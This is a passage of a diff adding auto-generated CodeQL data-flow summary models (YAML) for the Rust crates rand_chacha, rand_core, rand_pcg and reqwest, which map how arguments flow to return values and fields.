-0,0 +1,16 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_mut", "Argument[self].Field[crate::chacha::Array64(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::as_ref", "Argument[self].Field[crate::chacha::Array64(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha12Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha20Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "::from", "Argument[0]", "ReturnValue.Field[crate::chacha::ChaCha8Rng::rng].Field[crate::block::BlockRng::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::diagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::round", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_chacha", "crate::guts::undiagonalize", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml new file mode 100644 index 000000000000..013eb600dc67 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_core.model.yml @@ -0,0 +1,15 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand_core", "::re", "Argument[self].Field[0]", "ReturnValue.Field[crate::UnwrapMut(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::re", "Argument[self].Field[crate::UnwrapMut(0)]", "ReturnValue.Field[crate::UnwrapMut(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::next_u32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::generate_and_set", "Argument[0]", "Argument[self].Field[crate::block::BlockRng64::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::index", "Argument[self].Field[crate::block::BlockRng64::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::new", "Argument[0]", "ReturnValue.Field[crate::block::BlockRng64::core]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::generate_and_set", "Argument[0]", "Argument[self].Field[crate::block::BlockRng::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::index", "Argument[self].Field[crate::block::BlockRng::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_core", "::new", "Argument[0]", "ReturnValue.Field[crate::block::BlockRng::core]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml new file mode 100644 index 000000000000..054d5e8ca16a --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_pcg.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue.Field[crate::pcg128::Lcg128Xsl64::state]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue.Field[crate::pcg128cm::Lcg128CmDxsm64::state]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand_pcg", "::new", "Argument[0]", "ReturnValue.Field[crate::pcg64::Lcg64Xsh32::state]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml index 53f2675a0c0b..7355d362c71e 100644 --- a/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml +++ b/rust/ql/lib/ext/generated/reqwest/repo-https-github.com-seanmonstar-reqwest-reqwest.model.yml @@ -1,5 +1,374 @@ # THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<&str as crate::into_url::IntoUrlSealed>::as_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "<&str as crate::into_url::IntoUrlSealed>::into_url", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_url", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::from", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::Body::inner].Field[crate::async_impl::body::Inner::Reusable(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "ReturnValue.Field[crate::async_impl::body::DataStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::reusable", "Argument[0]", "ReturnValue.Field[crate::async_impl::body::Body::inner].Field[crate::async_impl::body::Inner::Reusable(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_reuse", "Argument[self].Field[crate::async_impl::body::Body::inner].Field[crate::async_impl::body::Inner::Reusable(0)]", "ReturnValue.Field[0].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::try_reuse", "Argument[self]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::delete", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::get", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::head", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::patch", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::post", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::put", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::request", "Argument[self].Reference", "ReturnValue.Field[crate::async_impl::request::RequestBuilder::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crl", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_crls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::add_root_certificate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::brotli", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "ReturnValue.Field[crate::connect::ConnectorBuilder::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::build", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_info]", "ReturnValue.Field[crate::connect::ConnectorBuilder::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::connection_verbose]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::connection_verbose]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connection_verbose", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::connector_layer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_provider", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::cookie_store", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::danger_accept_invalid_hostnames", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::default_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::deflate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::dns_resolver", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::gzip", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::hickory_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http09_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_obsolete_multiline_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_obsolete_multiline_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_obsolete_multiline_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_spaces_after_header_name_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_allow_spaces_after_header_name_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_allow_spaces_after_header_name_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_ignore_invalid_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http1_ignore_invalid_headers_in_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_ignore_invalid_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http1_title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_while_idle", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_while_idle", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::http2_keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_keep_alive_while_idle", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http2_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_conn_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_max_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_prior_knowledge", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_send_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::http3_stream_receive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::https_only]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::https_only", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::identity", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::max_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::min_tls_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::no_proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_idle_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::pool_max_idle_per_host]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::pool_max_idle_per_host]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool_max_idle_per_host", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::proxy", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::read_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::redirect_policy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::redirect_policy]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::redirect", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::referer]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::referer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::resolve_to_addrs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_keepalive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::nodelay]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tcp_nodelay", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_native]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_native]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_native_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_root_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_webpki]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_built_in_certs_webpki]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_built_in_webpki_certs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_early_data", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_enable_early_data]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_early_data", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_enable_early_data]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_early_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_info]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_info", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_sni]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::tls_sni]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::tls_sni", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[0]", "Argument[self].Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[0]", "ReturnValue.Field[crate::async_impl::client::ClientBuilder::config].Field[crate::async_impl::client::Config::hickory_dns]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::trust_dns", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_native_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_preconfigured_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::use_rustls_tls", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::user_agent", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::zstd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::detect", "Argument[1]", "ReturnValue.Field[crate::async_impl::decoder::Decoder::inner].Field[crate::async_impl::decoder::Inner::PlainText(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::into_stream", "Argument[self]", "ReturnValue.Field[crate::async_impl::decoder::IoStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::H3Client::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::async_impl::h3_client::connect::H3Connector::resolver]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new_connection", "Argument[2]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolClient::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[0]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::new", "Argument[1]", "ReturnValue.Field[crate::async_impl::h3_client::pool::PoolConnection::close_rx]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::pool", "Argument[self].Field[crate::async_impl::h3_client::pool::PoolConnection::client]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::boundary", "Argument[self].Field[crate::async_impl::multipart::FormParts::boundary]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::part", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_attr_chars", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_noop", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::percent_encode_path_segment", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::metadata", "Argument[self].Field[crate::async_impl::multipart::Part::meta]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::value_len", "Argument[self].Field[crate::async_impl::multipart::Part::body_length]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::mime_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::stream_with_length", "Argument[1]", "ReturnValue.Field[crate::async_impl::multipart::Part::body_length].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::file_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", 